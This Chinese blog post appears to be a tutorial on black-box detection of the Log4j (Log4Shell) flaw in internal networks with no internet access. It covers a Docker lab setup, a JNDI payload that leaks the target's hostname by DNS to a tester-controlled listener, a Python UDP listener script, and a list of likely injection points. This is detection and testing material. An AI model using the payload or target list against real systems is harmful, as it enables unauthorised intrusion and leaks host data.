Log4j漏洞内网检测

N 人看过

前言

最近 Log4j 的漏洞算是刷疯了,各种姿势利用,由于最近在搞内网测试,此次主要考虑不出网的黑盒测试。

环境搭建

网上已有相关复现教程,环境下载地址:https://github.com/fengxuangit/log4j_vuln

推荐docker一键搭建:

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln 
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

之后访问:http://IP:8080/webstudy/hello-fengxuan POST 发包测试。

截图如下:

image-20211214190342029

由于内网不出网时无法使用DNSlog,可以指定dns进行测试。

payload:${jndi:dns://172.21.1.14:6666/${hostName}}

其中172.21.1.14为本机 IP,6666为监听的UDP端口。

写了一个小脚本,启动一个UDP监听端口,进行辅助测试。

#!/usr/bin/env python
import binascii
import codecs
import signal
import socket
import sys
import time

def bytesToHexString(bs):
    hex_str = ''.join (['%02X' % b for b in bs])
    strs = (binascii.unhexlify (hex_str)).decode (errors="replace")
    return strs
def quit(signum, frame):
    sys.exit()
def udp_listen(add):
    signal.signal (signal.SIGINT, quit)
    signal.signal (signal.SIGTERM, quit)
    address = add
    s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)
    s.bind (address)
    data = ""
    while 1:
        data2 = data
        data, addr = s.recvfrom (4096 * 12)
        if data == data2:
            pass
        else:
            data2 = data
            ts = time.strftime ("%Y-%m-%d %H:%M:%S", time.localtime ())
            print ("DateTime: ", ts)
            print ("From IP : ", list (addr)[0] + ":" + str (list (addr)[1]))
            print ("GetData : ", bytesToHexString (data))
            print ("-----------------------------------------------------------")

if __name__ == '__main__':
    # 设置IP,端口进行UDP监听
    ip = "172.21.1.14"
    port = 6666
    print ("Listen IP : ", ip + ":" + str (port))
    add = (ip, port)
    udp_listen (add)

效果如下:

image-20211214191142020

测试经验

​ 最近几天也是在疯狂测试,梳理了几个可能存在该漏洞的点,仅供各位师傅参考。

  1. 客服聊天框。
  2. 搜索框。
  3. 数据包含有如下字段content,key,query,name等。
  4. 查询或搜索的URI,例如querylist.do,searchinfo.do等。

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。